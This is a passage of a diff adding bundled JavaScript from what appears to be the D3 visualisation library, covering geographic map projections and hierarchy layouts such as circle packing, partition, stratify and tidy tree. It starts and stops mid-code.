cos$1(x), + cy = cos$1(y), + k = scale(cx * cy); + return [ + k * cy * sin$1(x), + k * sin$1(y) + ]; + } +} + +function azimuthalInvert(angle) { + return function(x, y) { + var z = sqrt(x * x + y * y), + c = angle(z), + sc = sin$1(c), + cc = cos$1(c); + return [ + atan2(x * sc, z * cc), + asin(z && y * sc / z) + ]; + } +} + +var azimuthalEqualAreaRaw = azimuthalRaw(function(cxcy) { + return sqrt(2 / (1 + cxcy)); +}); + +azimuthalEqualAreaRaw.invert = azimuthalInvert(function(z) { + return 2 * asin(z / 2); +}); + +function azimuthalEqualArea() { + return projection(azimuthalEqualAreaRaw) + .scale(124.75) + .clipAngle(180 - 1e-3); +} + +var azimuthalEquidistantRaw = azimuthalRaw(function(c) { + return (c = acos(c)) && c / sin$1(c); +}); + +azimuthalEquidistantRaw.invert = azimuthalInvert(function(z) { + return z; +}); + +function azimuthalEquidistant() { + return projection(azimuthalEquidistantRaw) + .scale(79.4188) + .clipAngle(180 - 1e-3); +} + +function mercatorRaw(lambda, phi) { + return [lambda, log(tan((halfPi$2 + phi) / 2))]; +} + +mercatorRaw.invert = function(x, y) { + return [x, 2 * atan(exp(y)) - halfPi$2]; +}; + +function mercator() { + return mercatorProjection(mercatorRaw) + .scale(961 / tau$3); +} + +function mercatorProjection(project) { + var m = projection(project), + center = m.center, + scale = m.scale, + translate = m.translate, + clipExtent = m.clipExtent, + x0 = null, y0, x1, y1; // clip extent + + m.scale = function(_) { + return arguments.length ? (scale(_), reclip()) : scale(); + }; + + m.translate = function(_) { + return arguments.length ? (translate(_), reclip()) : translate(); + }; + + m.center = function(_) { + return arguments.length ? (center(_), reclip()) : center(); + }; + + m.clipExtent = function(_) { + return arguments.length ? ((_ == null ? x0 = y0 = x1 = y1 = null : (x0 = +_[0][0], y0 = +_[0][1], x1 = +_[1][0], y1 = +_[1][1])), reclip()) : x0 == null ? null : [[x0, y0], [x1, y1]]; + }; + + function reclip() { + var k = pi$3 * scale(), + t = m(rotation(m.rotate()).invert([0, 0])); + return clipExtent(x0 == null + ? [[t[0] - k, t[1] - k], [t[0] + k, t[1] + k]] : project === mercatorRaw + ? [[Math.max(t[0] - k, x0), y0], [Math.min(t[0] + k, x1), y1]] + : [[x0, Math.max(t[1] - k, y0)], [x1, Math.min(t[1] + k, y1)]]); + } + + return reclip(); +} + +function tany(y) { + return tan((halfPi$2 + y) / 2); +} + +function conicConformalRaw(y0, y1) { + var cy0 = cos$1(y0), + n = y0 === y1 ? sin$1(y0) : log(cy0 / cos$1(y1)) / log(tany(y1) / tany(y0)), + f = cy0 * pow(tany(y0), n) / n; + + if (!n) return mercatorRaw; + + function project(x, y) { + if (f > 0) { if (y < -halfPi$2 + epsilon$2) y = -halfPi$2 + epsilon$2; } + else { if (y > halfPi$2 - epsilon$2) y = halfPi$2 - epsilon$2; } + var r = f / pow(tany(y), n); + return [r * sin$1(n * x), f - r * cos$1(n * x)]; + } + + project.invert = function(x, y) { + var fy = f - y, r = sign(n) * sqrt(x * x + fy * fy), + l = atan2(x, abs(fy)) * sign(fy); + if (fy * n < 0) + l -= pi$3 * sign(x) * sign(fy); + return [l / n, 2 * atan(pow(f / r, 1 / n)) - halfPi$2]; + }; + + return project; +} + +function conicConformal() { + return conicProjection(conicConformalRaw) + .scale(109.5) + .parallels([30, 30]); +} + +function equirectangularRaw(lambda, phi) { + return [lambda, phi]; +} + +equirectangularRaw.invert = equirectangularRaw; + +function equirectangular() { + return projection(equirectangularRaw) + .scale(152.63); +} + +function conicEquidistantRaw(y0, y1) { + var cy0 = cos$1(y0), + n = y0 === y1 ? sin$1(y0) : (cy0 - cos$1(y1)) / (y1 - y0), + g = cy0 / n + y0; + + if (abs(n) < epsilon$2) return equirectangularRaw; + + function project(x, y) { + var gy = g - y, nx = n * x; + return [gy * sin$1(nx), g - gy * cos$1(nx)]; + } + + project.invert = function(x, y) { + var gy = g - y, + l = atan2(x, abs(gy)) * sign(gy); + if (gy * n < 0) + l -= pi$3 * sign(x) * sign(gy); + return [l / n, g - sign(n) * sqrt(x * x + gy * gy)]; + }; + + return project; +} + +function conicEquidistant() { + return conicProjection(conicEquidistantRaw) + .scale(131.154) + .center([0, 13.9389]); +} + +var A1 = 1.340264, + A2 = -0.081106, + A3 = 0.000893, + A4 = 0.003796, + M = sqrt(3) / 2, + iterations = 12; + +function equalEarthRaw(lambda, phi) { + var l = asin(M * sin$1(phi)), l2 = l * l, l6 = l2 * l2 * l2; + return [ + lambda * cos$1(l) / (M * (A1 + 3 * A2 * l2 + l6 * (7 * A3 + 9 * A4 * l2))), + l * (A1 + A2 * l2 + l6 * (A3 + A4 * l2)) + ]; +} + +equalEarthRaw.invert = function(x, y) { + var l = y, l2 = l * l, l6 = l2 * l2 * l2; + for (var i = 0, delta, fy, fpy; i < iterations; ++i) { + fy = l * (A1 + A2 * l2 + l6 * (A3 + A4 * l2)) - y; + fpy = A1 + 3 * A2 * l2 + l6 * (7 * A3 + 9 * A4 * l2); + l -= delta = fy / fpy, l2 = l * l, l6 = l2 * l2 * l2; + if (abs(delta) < epsilon2$1) break; + } + return [ + M * x * (A1 + 3 * A2 * l2 + l6 * (7 * A3 + 9 * A4 * l2)) / cos$1(l), + asin(sin$1(l) / M) + ]; +}; + +function equalEarth() { + return projection(equalEarthRaw) + .scale(177.158); +} + +function gnomonicRaw(x, y) { + var cy = cos$1(y), k = cos$1(x) * cy; + return [cy * sin$1(x) / k, sin$1(y) / k]; +} + +gnomonicRaw.invert = azimuthalInvert(atan); + +function gnomonic() { + return projection(gnomonicRaw) + .scale(144.049) + .clipAngle(60); +} + +function identity$5() { + var k = 1, tx = 0, ty = 0, sx = 1, sy = 1, // scale, translate and reflect + alpha = 0, ca, sa, // angle + x0 = null, y0, x1, y1, // clip extent + kx = 1, ky = 1, + transform = transformer({ + point: function(x, y) { + var p = projection([x, y]); + this.stream.point(p[0], p[1]); + } + }), + postclip = identity$4, + cache, + cacheStream; + + function reset() { + kx = k * sx; + ky = k * sy; + cache = cacheStream = null; + return projection; + } + + function projection (p) { + var x = p[0] * kx, y = p[1] * ky; + if (alpha) { + var t = y * ca - x * sa; + x = x * ca + y * sa; + y = t; + } + return [x + tx, y + ty]; + } + projection.invert = function(p) { + var x = p[0] - tx, y = p[1] - ty; + if (alpha) { + var t = y * ca + x * sa; + x = x * ca - y * sa; + y = t; + } + return [x / kx, y / ky]; + }; + projection.stream = function(stream) { + return cache && cacheStream === stream ? cache : cache = transform(postclip(cacheStream = stream)); + }; + projection.postclip = function(_) { + return arguments.length ? (postclip = _, x0 = y0 = x1 = y1 = null, reset()) : postclip; + }; + projection.clipExtent = function(_) { + return arguments.length ? (postclip = _ == null ? (x0 = y0 = x1 = y1 = null, identity$4) : clipRectangle(x0 = +_[0][0], y0 = +_[0][1], x1 = +_[1][0], y1 = +_[1][1]), reset()) : x0 == null ? null : [[x0, y0], [x1, y1]]; + }; + projection.scale = function(_) { + return arguments.length ? (k = +_, reset()) : k; + }; + projection.translate = function(_) { + return arguments.length ? (tx = +_[0], ty = +_[1], reset()) : [tx, ty]; + }; + projection.angle = function(_) { + return arguments.length ? (alpha = _ % 360 * radians, sa = sin$1(alpha), ca = cos$1(alpha), reset()) : alpha * degrees$1; + }; + projection.reflectX = function(_) { + return arguments.length ? (sx = _ ? -1 : 1, reset()) : sx < 0; + }; + projection.reflectY = function(_) { + return arguments.length ? (sy = _ ? -1 : 1, reset()) : sy < 0; + }; + projection.fitExtent = function(extent, object) { + return fitExtent(projection, extent, object); + }; + projection.fitSize = function(size, object) { + return fitSize(projection, size, object); + }; + projection.fitWidth = function(width, object) { + return fitWidth(projection, width, object); + }; + projection.fitHeight = function(height, object) { + return fitHeight(projection, height, object); + }; + + return projection; +} + +function naturalEarth1Raw(lambda, phi) { + var phi2 = phi * phi, phi4 = phi2 * phi2; + return [ + lambda * (0.8707 - 0.131979 * phi2 + phi4 * (-0.013791 + phi4 * (0.003971 * phi2 - 0.001529 * phi4))), + phi * (1.007226 + phi2 * (0.015085 + phi4 * (-0.044475 + 0.028874 * phi2 - 0.005916 * phi4))) + ]; +} + +naturalEarth1Raw.invert = function(x, y) { + var phi = y, i = 25, delta; + do { + var phi2 = phi * phi, phi4 = phi2 * phi2; + phi -= delta = (phi * (1.007226 + phi2 * (0.015085 + phi4 * (-0.044475 + 0.028874 * phi2 - 0.005916 * phi4))) - y) / + (1.007226 + phi2 * (0.015085 * 3 + phi4 * (-0.044475 * 7 + 0.028874 * 9 * phi2 - 0.005916 * 11 * phi4))); + } while (abs(delta) > epsilon$2 && --i > 0); + return [ + x / (0.8707 + (phi2 = phi * phi) * (-0.131979 + phi2 * (-0.013791 + phi2 * phi2 * phi2 * (0.003971 - 0.001529 * phi2)))), + phi + ]; +}; + +function naturalEarth1() { + return projection(naturalEarth1Raw) + .scale(175.295); +} + +function orthographicRaw(x, y) { + return [cos$1(y) * sin$1(x), sin$1(y)]; +} + +orthographicRaw.invert = azimuthalInvert(asin); + +function orthographic() { + return projection(orthographicRaw) + .scale(249.5) + .clipAngle(90 + epsilon$2); +} + +function stereographicRaw(x, y) { + var cy = cos$1(y), k = 1 + cos$1(x) * cy; + return [cy * sin$1(x) / k, sin$1(y) / k]; +} + +stereographicRaw.invert = azimuthalInvert(function(z) { + return 2 * atan(z); +}); + +function stereographic() { + return projection(stereographicRaw) + .scale(250) + .clipAngle(142); +} + +function transverseMercatorRaw(lambda, phi) { + return [log(tan((halfPi$2 + phi) / 2)), -lambda]; +} + +transverseMercatorRaw.invert = function(x, y) { + return [-y, 2 * atan(exp(x)) - halfPi$2]; +}; + +function transverseMercator() { + var m = mercatorProjection(transverseMercatorRaw), + center = m.center, + rotate = m.rotate; + + m.center = function(_) { + return arguments.length ? center([-_[1], _[0]]) : (_ = center(), [_[1], -_[0]]); + }; + + m.rotate = function(_) { + return arguments.length ? rotate([_[0], _[1], _.length > 2 ? _[2] + 90 : 90]) : (_ = rotate(), [_[0], _[1], _[2] - 90]); + }; + + return rotate([0, 0, 90]) + .scale(159.155); +} + +function defaultSeparation(a, b) { + return a.parent === b.parent ? 1 : 2; +} + +function meanX(children) { + return children.reduce(meanXReduce, 0) / children.length; +} + +function meanXReduce(x, c) { + return x + c.x; +} + +function maxY(children) { + return 1 + children.reduce(maxYReduce, 0); +} + +function maxYReduce(y, c) { + return Math.max(y, c.y); +} + +function leafLeft(node) { + var children; + while (children = node.children) node = children[0]; + return node; +} + +function leafRight(node) { + var children; + while (children = node.children) node = children[children.length - 1]; + return node; +} + +function cluster() { + var separation = defaultSeparation, + dx = 1, + dy = 1, + nodeSize = false; + + function cluster(root) { + var previousNode, + x = 0; + + // First walk, computing the initial x & y values. + root.eachAfter(function(node) { + var children = node.children; + if (children) { + node.x = meanX(children); + node.y = maxY(children); + } else { + node.x = previousNode ? x += separation(node, previousNode) : 0; + node.y = 0; + previousNode = node; + } + }); + + var left = leafLeft(root), + right = leafRight(root), + x0 = left.x - separation(left, right) / 2, + x1 = right.x + separation(right, left) / 2; + + // Second walk, normalizing x & y to the desired size. + return root.eachAfter(nodeSize ? function(node) { + node.x = (node.x - root.x) * dx; + node.y = (root.y - node.y) * dy; + } : function(node) { + node.x = (node.x - x0) / (x1 - x0) * dx; + node.y = (1 - (root.y ? node.y / root.y : 1)) * dy; + }); + } + + cluster.separation = function(x) { + return arguments.length ? (separation = x, cluster) : separation; + }; + + cluster.size = function(x) { + return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], cluster) : (nodeSize ? null : [dx, dy]); + }; + + cluster.nodeSize = function(x) { + return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], cluster) : (nodeSize ? [dx, dy] : null); + }; + + return cluster; +} + +function count(node) { + var sum = 0, + children = node.children, + i = children && children.length; + if (!i) sum = 1; + else while (--i >= 0) sum += children[i].value; + node.value = sum; +} + +function node_count() { + return this.eachAfter(count); +} + +function node_each(callback) { + var node = this, current, next = [node], children, i, n; + do { + current = next.reverse(), next = []; + while (node = current.pop()) { + callback(node), children = node.children; + if (children) for (i = 0, n = children.length; i < n; ++i) { + next.push(children[i]); + } + } + } while (next.length); + return this; +} + +function node_eachBefore(callback) { + var node = this, nodes = [node], children, i; + while (node = nodes.pop()) { + callback(node), children = node.children; + if (children) for (i = children.length - 1; i >= 0; --i) { + nodes.push(children[i]); + } + } + return this; +} + +function node_eachAfter(callback) { + var node = this, nodes = [node], next = [], children, i, n; + while (node = nodes.pop()) { + next.push(node), children = node.children; + if (children) for (i = 0, n = children.length; i < n; ++i) { + nodes.push(children[i]); + } + } + while (node = next.pop()) { + callback(node); + } + return this; +} + +function node_sum(value) { + return this.eachAfter(function(node) { + var sum = +value(node.data) || 0, + children = node.children, + i = children && children.length; + while (--i >= 0) sum += children[i].value; + node.value = sum; + }); +} + +function node_sort(compare) { + return this.eachBefore(function(node) { + if (node.children) { + node.children.sort(compare); + } + }); +} + +function node_path(end) { + var start = this, + ancestor = leastCommonAncestor(start, end), + nodes = [start]; + while (start !== ancestor) { + start = start.parent; + nodes.push(start); + } + var k = nodes.length; + while (end !== ancestor) { + nodes.splice(k, 0, end); + end = end.parent; + } + return nodes; +} + +function leastCommonAncestor(a, b) { + if (a === b) return a; + var aNodes = a.ancestors(), + bNodes = b.ancestors(), + c = null; + a = aNodes.pop(); + b = bNodes.pop(); + while (a === b) { + c = a; + a = aNodes.pop(); + b = bNodes.pop(); + } + return c; +} + +function node_ancestors() { + var node = this, nodes = [node]; + while (node = node.parent) { + nodes.push(node); + } + return nodes; +} + +function node_descendants() { + var nodes = []; + this.each(function(node) { + nodes.push(node); + }); + return nodes; +} + +function node_leaves() { + var leaves = []; + this.eachBefore(function(node) { + if (!node.children) { + leaves.push(node); + } + }); + return leaves; +} + +function node_links() { + var root = this, links = []; + root.each(function(node) { + if (node !== root) { // Don’t include the root’s parent, if any. + links.push({source: node.parent, target: node}); + } + }); + return links; +} + +function hierarchy(data, children) { + var root = new Node(data), + valued = +data.value && (root.value = data.value), + node, + nodes = [root], + child, + childs, + i, + n; + + if (children == null) children = defaultChildren; + + while (node = nodes.pop()) { + if (valued) node.value = +node.data.value; + if ((childs = children(node.data)) && (n = childs.length)) { + node.children = new Array(n); + for (i = n - 1; i >= 0; --i) { + nodes.push(child = node.children[i] = new Node(childs[i])); + child.parent = node; + child.depth = node.depth + 1; + } + } + } + + return root.eachBefore(computeHeight); +} + +function node_copy() { + return hierarchy(this).eachBefore(copyData); +} + +function defaultChildren(d) { + return d.children; +} + +function copyData(node) { + node.data = node.data.data; +} + +function computeHeight(node) { + var height = 0; + do node.height = height; + while ((node = node.parent) && (node.height < ++height)); +} + +function Node(data) { + this.data = data; + this.depth = + this.height = 0; + this.parent = null; +} + +Node.prototype = hierarchy.prototype = { + constructor: Node, + count: node_count, + each: node_each, + eachAfter: node_eachAfter, + eachBefore: node_eachBefore, + sum: node_sum, + sort: node_sort, + path: node_path, + ancestors: node_ancestors, + descendants: node_descendants, + leaves: node_leaves, + links: node_links, + copy: node_copy +}; + +var slice$4 = Array.prototype.slice; + +function shuffle$1(array) { + var m = array.length, + t, + i; + + while (m) { + i = Math.random() * m-- | 0; + t = array[m]; + array[m] = array[i]; + array[i] = t; + } + + return array; +} + +function enclose(circles) { + var i = 0, n = (circles = shuffle$1(slice$4.call(circles))).length, B = [], p, e; + + while (i < n) { + p = circles[i]; + if (e && enclosesWeak(e, p)) ++i; + else e = encloseBasis(B = extendBasis(B, p)), i = 0; + } + + return e; +} + +function extendBasis(B, p) { + var i, j; + + if (enclosesWeakAll(p, B)) return [p]; + + // If we get here then B must have at least one element. + for (i = 0; i < B.length; ++i) { + if (enclosesNot(p, B[i]) + && enclosesWeakAll(encloseBasis2(B[i], p), B)) { + return [B[i], p]; + } + } + + // If we get here then B must have at least two elements. + for (i = 0; i < B.length - 1; ++i) { + for (j = i + 1; j < B.length; ++j) { + if (enclosesNot(encloseBasis2(B[i], B[j]), p) + && enclosesNot(encloseBasis2(B[i], p), B[j]) + && enclosesNot(encloseBasis2(B[j], p), B[i]) + && enclosesWeakAll(encloseBasis3(B[i], B[j], p), B)) { + return [B[i], B[j], p]; + } + } + } + + // If we get here then something is very wrong. + throw new Error; +} + +function enclosesNot(a, b) { + var dr = a.r - b.r, dx = b.x - a.x, dy = b.y - a.y; + return dr < 0 || dr * dr < dx * dx + dy * dy; +} + +function enclosesWeak(a, b) { + var dr = a.r - b.r + 1e-6, dx = b.x - a.x, dy = b.y - a.y; + return dr > 0 && dr * dr > dx * dx + dy * dy; +} + +function enclosesWeakAll(a, B) { + for (var i = 0; i < B.length; ++i) { + if (!enclosesWeak(a, B[i])) { + return false; + } + } + return true; +} + +function encloseBasis(B) { + switch (B.length) { + case 1: return encloseBasis1(B[0]); + case 2: return encloseBasis2(B[0], B[1]); + case 3: return encloseBasis3(B[0], B[1], B[2]); + } +} + +function encloseBasis1(a) { + return { + x: a.x, + y: a.y, + r: a.r + }; +} + +function encloseBasis2(a, b) { + var x1 = a.x, y1 = a.y, r1 = a.r, + x2 = b.x, y2 = b.y, r2 = b.r, + x21 = x2 - x1, y21 = y2 - y1, r21 = r2 - r1, + l = Math.sqrt(x21 * x21 + y21 * y21); + return { + x: (x1 + x2 + x21 / l * r21) / 2, + y: (y1 + y2 + y21 / l * r21) / 2, + r: (l + r1 + r2) / 2 + }; +} + +function encloseBasis3(a, b, c) { + var x1 = a.x, y1 = a.y, r1 = a.r, + x2 = b.x, y2 = b.y, r2 = b.r, + x3 = c.x, y3 = c.y, r3 = c.r, + a2 = x1 - x2, + a3 = x1 - x3, + b2 = y1 - y2, + b3 = y1 - y3, + c2 = r2 - r1, + c3 = r3 - r1, + d1 = x1 * x1 + y1 * y1 - r1 * r1, + d2 = d1 - x2 * x2 - y2 * y2 + r2 * r2, + d3 = d1 - x3 * x3 - y3 * y3 + r3 * r3, + ab = a3 * b2 - a2 * b3, + xa = (b2 * d3 - b3 * d2) / (ab * 2) - x1, + xb = (b3 * c2 - b2 * c3) / ab, + ya = (a3 * d2 - a2 * d3) / (ab * 2) - y1, + yb = (a2 * c3 - a3 * c2) / ab, + A = xb * xb + yb * yb - 1, + B = 2 * (r1 + xa * xb + ya * yb), + C = xa * xa + ya * ya - r1 * r1, + r = -(A ? (B + Math.sqrt(B * B - 4 * A * C)) / (2 * A) : C / B); + return { + x: x1 + xa + xb * r, + y: y1 + ya + yb * r, + r: r + }; +} + +function place(b, a, c) { + var dx = b.x - a.x, x, a2, + dy = b.y - a.y, y, b2, + d2 = dx * dx + dy * dy; + if (d2) { + a2 = a.r + c.r, a2 *= a2; + b2 = b.r + c.r, b2 *= b2; + if (a2 > b2) { + x = (d2 + b2 - a2) / (2 * d2); + y = Math.sqrt(Math.max(0, b2 / d2 - x * x)); + c.x = b.x - x * dx - y * dy; + c.y = b.y - x * dy + y * dx; + } else { + x = (d2 + a2 - b2) / (2 * d2); + y = Math.sqrt(Math.max(0, a2 / d2 - x * x)); + c.x = a.x + x * dx - y * dy; + c.y = a.y + x * dy + y * dx; + } + } else { + c.x = a.x + c.r; + c.y = a.y; + } +} + +function intersects(a, b) { + var dr = a.r + b.r - 1e-6, dx = b.x - a.x, dy = b.y - a.y; + return dr > 0 && dr * dr > dx * dx + dy * dy; +} + +function score(node) { + var a = node._, + b = node.next._, + ab = a.r + b.r, + dx = (a.x * b.r + b.x * a.r) / ab, + dy = (a.y * b.r + b.y * a.r) / ab; + return dx * dx + dy * dy; +} + +function Node$1(circle) { + this._ = circle; + this.next = null; + this.previous = null; +} + +function packEnclose(circles) { + if (!(n = circles.length)) return 0; + + var a, b, c, n, aa, ca, i, j, k, sj, sk; + + // Place the first circle. + a = circles[0], a.x = 0, a.y = 0; + if (!(n > 1)) return a.r; + + // Place the second circle. + b = circles[1], a.x = -b.r, b.x = a.r, b.y = 0; + if (!(n > 2)) return a.r + b.r; + + // Place the third circle. + place(b, a, c = circles[2]); + + // Initialize the front-chain using the first three circles a, b and c. + a = new Node$1(a), b = new Node$1(b), c = new Node$1(c); + a.next = c.previous = b; + b.next = a.previous = c; + c.next = b.previous = a; + + // Attempt to place each remaining circle… + pack: for (i = 3; i < n; ++i) { + place(a._, b._, c = circles[i]), c = new Node$1(c); + + // Find the closest intersecting circle on the front-chain, if any. + // “Closeness” is determined by linear distance along the front-chain. + // “Ahead” or “behind” is likewise determined by linear distance. + j = b.next, k = a.previous, sj = b._.r, sk = a._.r; + do { + if (sj <= sk) { + if (intersects(j._, c._)) { + b = j, a.next = b, b.previous = a, --i; + continue pack; + } + sj += j._.r, j = j.next; + } else { + if (intersects(k._, c._)) { + a = k, a.next = b, b.previous = a, --i; + continue pack; + } + sk += k._.r, k = k.previous; + } + } while (j !== k.next); + + // Success! Insert the new circle c between a and b. + c.previous = a, c.next = b, a.next = b.previous = b = c; + + // Compute the new closest circle pair to the centroid. + aa = score(a); + while ((c = c.next) !== b) { + if ((ca = score(c)) < aa) { + a = c, aa = ca; + } + } + b = a.next; + } + + // Compute the enclosing circle of the front chain. + a = [b._], c = b; while ((c = c.next) !== b) a.push(c._); c = enclose(a); + + // Translate the circles to put the enclosing circle around the origin. + for (i = 0; i < n; ++i) a = circles[i], a.x -= c.x, a.y -= c.y; + + return c.r; +} + +function siblings(circles) { + packEnclose(circles); + return circles; +} + +function optional(f) { + return f == null ? null : required(f); +} + +function required(f) { + if (typeof f !== "function") throw new Error; + return f; +} + +function constantZero() { + return 0; +} + +function constant$9(x) { + return function() { + return x; + }; +} + +function defaultRadius$1(d) { + return Math.sqrt(d.value); +} + +function index$2() { + var radius = null, + dx = 1, + dy = 1, + padding = constantZero; + + function pack(root) { + root.x = dx / 2, root.y = dy / 2; + if (radius) { + root.eachBefore(radiusLeaf(radius)) + .eachAfter(packChildren(padding, 0.5)) + .eachBefore(translateChild(1)); + } else { + root.eachBefore(radiusLeaf(defaultRadius$1)) + .eachAfter(packChildren(constantZero, 1)) + .eachAfter(packChildren(padding, root.r / Math.min(dx, dy))) + .eachBefore(translateChild(Math.min(dx, dy) / (2 * root.r))); + } + return root; + } + + pack.radius = function(x) { + return arguments.length ? (radius = optional(x), pack) : radius; + }; + + pack.size = function(x) { + return arguments.length ? (dx = +x[0], dy = +x[1], pack) : [dx, dy]; + }; + + pack.padding = function(x) { + return arguments.length ? (padding = typeof x === "function" ? x : constant$9(+x), pack) : padding; + }; + + return pack; +} + +function radiusLeaf(radius) { + return function(node) { + if (!node.children) { + node.r = Math.max(0, +radius(node) || 0); + } + }; +} + +function packChildren(padding, k) { + return function(node) { + if (children = node.children) { + var children, + i, + n = children.length, + r = padding(node) * k || 0, + e; + + if (r) for (i = 0; i < n; ++i) children[i].r += r; + e = packEnclose(children); + if (r) for (i = 0; i < n; ++i) children[i].r -= r; + node.r = e + r; + } + }; +} + +function translateChild(k) { + return function(node) { + var parent = node.parent; + node.r *= k; + if (parent) { + node.x = parent.x + k * node.x; + node.y = parent.y + k * node.y; + } + }; +} + +function roundNode(node) { + node.x0 = Math.round(node.x0); + node.y0 = Math.round(node.y0); + node.x1 = Math.round(node.x1); + node.y1 = Math.round(node.y1); +} + +function treemapDice(parent, x0, y0, x1, y1) { + var nodes = parent.children, + node, + i = -1, + n = nodes.length, + k = parent.value && (x1 - x0) / parent.value; + + while (++i < n) { + node = nodes[i], node.y0 = y0, node.y1 = y1; + node.x0 = x0, node.x1 = x0 += node.value * k; + } +} + +function partition() { + var dx = 1, + dy = 1, + padding = 0, + round = false; + + function partition(root) { + var n = root.height + 1; + root.x0 = + root.y0 = padding; + root.x1 = dx; + root.y1 = dy / n; + root.eachBefore(positionNode(dy, n)); + if (round) root.eachBefore(roundNode); + return root; + } + + function positionNode(dy, n) { + return function(node) { + if (node.children) { + treemapDice(node, node.x0, dy * (node.depth + 1) / n, node.x1, dy * (node.depth + 2) / n); + } + var x0 = node.x0, + y0 = node.y0, + x1 = node.x1 - padding, + y1 = node.y1 - padding; + if (x1 < x0) x0 = x1 = (x0 + x1) / 2; + if (y1 < y0) y0 = y1 = (y0 + y1) / 2; + node.x0 = x0; + node.y0 = y0; + node.x1 = x1; + node.y1 = y1; + }; + } + + partition.round = function(x) { + return arguments.length ? (round = !!x, partition) : round; + }; + + partition.size = function(x) { + return arguments.length ? (dx = +x[0], dy = +x[1], partition) : [dx, dy]; + }; + + partition.padding = function(x) { + return arguments.length ? (padding = +x, partition) : padding; + }; + + return partition; +} + +var keyPrefix$1 = "$", // Protect against keys like “__proto__”. + preroot = {depth: -1}, + ambiguous = {}; + +function defaultId(d) { + return d.id; +} + +function defaultParentId(d) { + return d.parentId; +} + +function stratify() { + var id = defaultId, + parentId = defaultParentId; + + function stratify(data) { + var d, + i, + n = data.length, + root, + parent, + node, + nodes = new Array(n), + nodeId, + nodeKey, + nodeByKey = {}; + + for (i = 0; i < n; ++i) { + d = data[i], node = nodes[i] = new Node(d); + if ((nodeId = id(d, i, data)) != null && (nodeId += "")) { + nodeKey = keyPrefix$1 + (node.id = nodeId); + nodeByKey[nodeKey] = nodeKey in nodeByKey ? ambiguous : node; + } + } + + for (i = 0; i < n; ++i) { + node = nodes[i], nodeId = parentId(data[i], i, data); + if (nodeId == null || !(nodeId += "")) { + if (root) throw new Error("multiple roots"); + root = node; + } else { + parent = nodeByKey[keyPrefix$1 + nodeId]; + if (!parent) throw new Error("missing: " + nodeId); + if (parent === ambiguous) throw new Error("ambiguous: " + nodeId); + if (parent.children) parent.children.push(node); + else parent.children = [node]; + node.parent = parent; + } + } + + if (!root) throw new Error("no root"); + root.parent = preroot; + root.eachBefore(function(node) { node.depth = node.parent.depth + 1; --n; }).eachBefore(computeHeight); + root.parent = null; + if (n > 0) throw new Error("cycle"); + + return root; + } + + stratify.id = function(x) { + return arguments.length ? (id = required(x), stratify) : id; + }; + + stratify.parentId = function(x) { + return arguments.length ? (parentId = required(x), stratify) : parentId; + }; + + return stratify; +} + +function defaultSeparation$1(a, b) { + return a.parent === b.parent ? 1 : 2; +} + +// function radialSeparation(a, b) { +// return (a.parent === b.parent ? 1 : 2) / a.depth; +// } + +// This function is used to traverse the left contour of a subtree (or +// subforest). It returns the successor of v on this contour. This successor is +// either given by the leftmost child of v or by the thread of v. The function +// returns null if and only if v is on the highest level of its subtree. +function nextLeft(v) { + var children = v.children; + return children ? children[0] : v.t; +} + +// This function works analogously to nextLeft. +function nextRight(v) { + var children = v.children; + return children ? children[children.length - 1] : v.t; +} + +// Shifts the current subtree rooted at w+. This is done by increasing +// prelim(w+) and mod(w+) by shift. +function moveSubtree(wm, wp, shift) { + var change = shift / (wp.i - wm.i); + wp.c -= change; + wp.s += shift; + wm.c += change; + wp.z += shift; + wp.m += shift; +} + +// All other shifts, applied to the smaller subtrees between w- and w+, are +// performed by this function. To prepare the shifts, we have to adjust +// change(w+), shift(w+), and change(w-). +function executeShifts(v) { + var shift = 0, + change = 0, + children = v.children, + i = children.length, + w; + while (--i >= 0) { + w = children[i]; + w.z += shift; + w.m += shift; + shift += w.s + (change += w.c); + } +} + +// If vi-’s ancestor is a sibling of v, returns vi-’s ancestor. Otherwise, +// returns the specified (default) ancestor. +function nextAncestor(vim, v, ancestor) { + return vim.a.parent === v.parent ? vim.a : ancestor; +} + +function TreeNode(node, i) { + this._ = node; + this.parent = null; + this.children = null; + this.A = null; // default ancestor + this.a = this; // ancestor + this.z = 0; // prelim + this.m = 0; // mod + this.c = 0; // change + this.s = 0; // shift + this.t = null; // thread + this.i = i; // number +} + +TreeNode.prototype = Object.create(Node.prototype); + +function treeRoot(root) { + var tree = new TreeNode(root, 0), + node, + nodes = [tree], + child, + children, + i, + n; + + while (node = nodes.pop()) { + if (children = node._.children) { + node.children = new Array(n = children.length); + for (i = n - 1; i >= 0; --i) { + nodes.push(child = node.children[i] = new TreeNode(children[i], i)); + child.parent = node; + } + } + } + + (tree.parent = new TreeNode(null, 0)).children = [tree]; + return tree; +} + +// Node-link tree diagram using the Reingold-Tilford "tidy" algorithm +function tree() { + var separation = defaultSeparation$1, + dx = 1, + dy = 1, + nodeSize = null; + + function tree(root) { + var t = treeRoot(root); + + // Compute the layout using Buchheim et al.’s algorithm. + t.eachAfter(firstWalk), t.parent.m = -t.z; + t.eachBefore(secondWalk); + + // If a fixed node size is specified, scale x and y. + if (nodeSize) root.eachBefore(sizeNode); + + // If a fixed tree size is specified, scale x and y based on the extent. + // Compute the left-most, right-most, and depth-most nodes for extents. + else { + var left = root, + right = root, + bottom = root; + root.eachBefore(function(node) { + if (node.x < left.x) left = node; + if (node.x > right.x) right = node; + if (node.depth > bottom.depth) bottom = node; + }); + var s = left === right ? 1 : separation(left, right) / 2, + tx = s - left.x, + kx = dx / (right.x + s + tx), + ky = dy / (bottom.depth || 1); + root.eachBefore(function(node) { + node.x = (node.x + tx) * kx; + node.y = node.depth * ky; + }); + } + + return root; + } + + // Computes a preliminary x-coordinate for v. Before that, FIRST WALK is + // applied recursively to the children of v, as well as the function + // APPORTION. After spacing out the children by calling EXECUTE SHIFTS, the + // node v is placed to the midpoint of its outermost children. + function firstWalk(v) { + var children = v.children, + siblings = v.parent.children, + w = v.i ? siblings[v.i - 1] : null; + if (children) { + executeShifts(v); + var midpoint = (children[0].z + children[children.length - 1].z) / 2; + if (w) { + v.z = w.z + separation(v._, w._); + v.m = v.z - midpoint; + } else { + v.z = midpoint; + } + } else if (w) { + v.z = w.z + separation(v._, w._); + } + v.parent.A = apportion(v, w, v.parent.A || siblings[0]); + } + + // Computes all real x-coordinates by summing up the modifiers recursively. + function secondWalk(v) { + v._.x = v.z + v.parent.m; + v.m += v.parent.m; + } + + // The core of the algorithm. Here, a new subtree is combined with the + // previous subtrees. Threads are used to traverse the inside and outside + // contours of the left and right subtree 